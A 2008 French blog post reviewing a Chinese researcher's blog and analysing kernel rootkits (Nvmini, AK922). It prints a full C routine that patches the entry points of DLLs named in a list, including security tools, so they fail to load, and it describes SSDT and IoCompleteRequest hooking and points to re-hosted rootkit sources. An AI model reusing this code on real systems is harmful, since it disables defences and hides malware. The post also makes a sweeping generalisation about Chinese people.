Archive for mars 26th, 2008

Sudami

Hummmm je surfais tranquillement sur le net en train de chercher de la doc sur des trucs perdu de Windows quand je suis tombé sur un blog chinois, mais pas n’importe quel blog ! Un putain de blog de ouf sous amphétamines qui prend de la cocaïne. http://hi.baidu.com/sudami/ est tout simplement monstrueux, même si je capte rien au chinois, rien que voir les codes et les schémas qui sont de dessus, ca me fait tourner la tête.

Nvmini, contient le code d’un rootkit kernel-land pas mal foutu, d’après ce que j’ai vu qu’il effectuait les opérations suivantes :

  • Installation de hook dans la SSDT sur les API ZwSaveKey, ZwQueryDirectoryFile, ZwClose, ZwEnumerateKey, ZwLoadDriver, ZwDeleteValueKey et ZwDeleteKey.
  • Le rk installe une callback sur le chargement de module avec l’API PsSetLoadImageNotifyRoutine. La routine de callback est la suivante :
    VOID
    MyLoadImageRoutine(
        IN PUNICODE_STRING ImageName,
        IN HANDLE ProcessId,
        IN PIMAGE_INFO ImageInfo
        )
    {
    	BOOL  bFind;
    	ULONG Length;
    	WCHAR Name[300];
    	PEPROCESS   proc;
    	PVOID       pImageBase;
    	SIZE_T      dwSize;
    	PVOID       pOEP;
    	KIRQL       oldIrql;
    	PIMAGE_DOS_HEADER       dos;
        PIMAGE_NT_HEADERS       nth;
    	PIMAGE_OPTIONAL_HEADER  poh;
    	PHYSICAL_ADDRESS physicalAddress;
    
    	if (ImageName == NULL) {
            return;
        }
    
        Length = ImageName->Length;
        if ((Length == 0) || (ImageName->Buffer == NULL)) {
            return;
        }
    
    	bFind = FALSE;
    	RtlCopyMemory(Name , ImageName->Buffer, ImageName->MaximumLength );
    	_wcsupr(Name);
    
    	if ( ( (wcsstr( Name, L"DLLWM.DLL" ) != NULL) && (wcsstr( Name, L"SYSTEM32" ) != NULL) ) ||
    			( (wcsstr( Name, L"WININFO.RXK" ) != NULL) && (wcsstr( Name, L"COMMON FILES" ) != NULL) ) ||
    			( (wcsstr( Name, L"RICHDLL.DLL" ) != NULL) && (wcsstr( Name, L"WINDOWS" ) != NULL) ) ||
    			( (wcsstr( Name, L"RICHDLL.DLL" ) != NULL) && (wcsstr( Name, L"WINNT" ) != NULL) ) ||
    			(wcsstr( Name, L"WINDHCP.DLL" ) != NULL) ||
    			(wcsstr( Name, L"DLLHOSTS.DLL" ) != NULL) ||
    			(wcsstr( Name, L"NOTEPAD.DLL" ) != NULL) ||
    			(wcsstr( Name, L"RPCS.DLL" ) != NULL) ||
    			(wcsstr( Name, L"RDSHOST.DLL" ) != NULL) ||
    			(wcsstr( Name, L"LGSYM.DLL" ) != NULL) ||
    			(wcsstr( Name, L"RUND11.DLL" ) != NULL) ||
    			(wcsstr( Name, L"MDDDSCCRT.DLL" ) != NULL) ||
    			(wcsstr( Name, L"WSVBS.DLL" ) != NULL) ||
    			(wcsstr( Name, L"CMDBCS.DLL" ) != NULL) ||
    			(wcsstr( Name, L"UPXDHND.DLL" ) != NULL) ||
    			(wcsstr( Name, L"RDFHOST.DLL" ) != NULL) ||
    			(wcsstr( Name, L"safe" ) != NULL) ||
    			(wcsstr( Name, L"anti" ) != NULL) ) {
    				bFind = TRUE;
    	}
    
    	if ( bFind == FALSE ) {
    		return;
    	}
    
    	if( !NT_SUCCESS(PsLookupProcessByProcessId( ProcessId, &proc )) ) {
    		return;
    	}
    
    	KeAttachProcess (proc);
    
    	pImageBase = ImageInfo->ImageBase;
    	dwSize     = ImageInfo->ImageSize;
    
    	try {
    		ProbeForRead( pImageBase, dwSize, sizeof(UCHAR));
    	} except(EXCEPTION_EXECUTE_HANDLER) {
    		return;
    	}
    
    	dos     = (PIMAGE_DOS_HEADER) pImageBase;
        nth     = (PIMAGE_NT_HEADERS) (dos->e_lfanew + (char *)pImageBase);
    	poh     = (PIMAGE_OPTIONAL_HEADER) &nth->OptionalHeader;
    
    	if( (dos->e_magic != 0x5a4d) || (nth->Signature != 0x00004550) ) {// "MZ" "PE\0\0"
    		return;
    	}
    
    	pOEP = (PVOID)( poh->AddressOfEntryPoint + (char *)pImageBase );
    	physicalAddress = MmGetPhysicalAddress( pOEP );
    
    	ProbeForWrite ( pOEP, 5, sizeof(CHAR));
    
    	WPOFF(); // write protection disabled, 16eme bit du cr0 à 0, permet d'écrire en ring0 dans des pages RO
    	oldIrql = KeRaiseIrqlToDpcLevel();
    
    	RtlCopyMemory ( (BYTE*)pOEP, g_Code, 5 );
    
    	KeLowerIrql(oldIrql);
    	WPON();
    
    	KeDetachProcess();
    }

    Cette routine va être appelée au moment du chargement de chaque DLL. Comme vous pouvez le voir, la routine va vérifier si le nom de la DLL chargée apparaît dans une liste prédéfinie, si oui, alors le thread courant s’attache au contexte du process qui charge la DLL avec KeAttachProcess, retrouve l’EntryPoint de DLL en parcourant son PE Header puis le modifie par le code contenu dans la var g_Code qui est :

    BYTE g_Code[5] = { 0x33, 0xC0, 0x0C, 0x00, 0x00 };

    Ce qui correspond en asm à :

    33C0          XOR EAX, EAX
    0C 00         OR AL, 0

    La doc nous dit que si le DllMain d’une fonction renvoie 0, alors la DLL n’est pas chargée dans le process. D’ailleurs je me demande ou est le RET du code copié sur l’EP, pas très pratique si la DllMain ne retourne pas … En tout cas c’est joli trick pour éviter que certaines DLL ne soient loadées.

  • On retrouve aussi dans le fichier HideService.c le code posté sur rootkit.com par i.m.weasel permettant de planqué un service. Ce code va, depuis le noyau, patché le process services.exe qui tient à jour une liste de structures SERVICE_RECORD contenant des infos sur les services en cours.
  • Je vous laisse découvrir le reste, mais il y a des fonctions inachevées. Ca reste quand même un code sympa à étudier.

Par contre un post qui m’a fait pleurer, AK922, contient le code de plusieurs version du rootkit AK922, celui même que j’avais reversé … Le lien sur la page renvoie sur un fichier .sys mais il s’agit bien d’une archive .rar qui contient les sources. Si vous les voulez, je les ai uppé sur mon repo en virant les bouts de chinois des noms de fichiers.

La source du binaire que j’avais reversé n’est pas présente dans l’archive, cependant celle qui s’en rapproche le plus se trouve dans le ak922_sys_c.zip et franchement en la voyant je suis assez content de ce que j’ai réussi à comprendre dessus, parce que ca fait vraiment de la peur. Pour rappel, AK922 est un rootkit assez original qui va installer un hook sur la routine IoCompleteRequest. Cette routine est très importante pour l’I/O Manager, c’est elle qui va compléter les IRP en les renvoyant à l’appelant. En contrôlant cette routine le rootkit peut donc voir le retour de la requête fait par exemple par un syscall comme NtQueryDirectoryFile et modifier son contenu. Par contre le code qui gère ca vient d’ailleurs, c’est affolant, regardez le code de la fonction DispatchIofCompleteRequest et vous verrez. Remarquez que cette fonction est la version améliorée de AkHideFile qui se trouve dans le Mian.rar, c’est celle-ci que j’ai reversé. Enfin, bref, ca me fout un peu les boules …

Je vous laisse surfer sur le blog de Sudami, c’est vraiment génial, ce gars est un super coder/reverser. Dommage que ca doit en chinois. Ce que je retiens, c’est qu’en voyant ce genre de blogs, je me dis que les chinois sont vraiment des brutes épaisses et qu’au final ils ont vraiment les moyens de faire très mal. C’est vrai, ils ont certains avantages certes, mais à les voir, on à l’impression qu’ils restent dans leur monde, entre eux, à partager les découvertes et travaux dans leur langue ! Ils ont rippé ce qu’ils ont pu trouver dans les docs/ebooks/sites/blogs de par le net et ont mit ca à leur sauce puis ils ont cherché par eux mêmes. Au final, ca paye bien, ils savent faire des rootkits :] Et pendant ce temps là, nous, on les regarde …

Au passage, les blogs de ses potes, lynux et micropoint, ont l’air bien puissants aussi …

5 comments mars 26th, 2008


Calendar

mars 2008
L Ma Me J V S D
« fév   avr »
 12
3456789
10111213141516
17181920212223
24252627282930
31  

Posts by Month

Posts by Category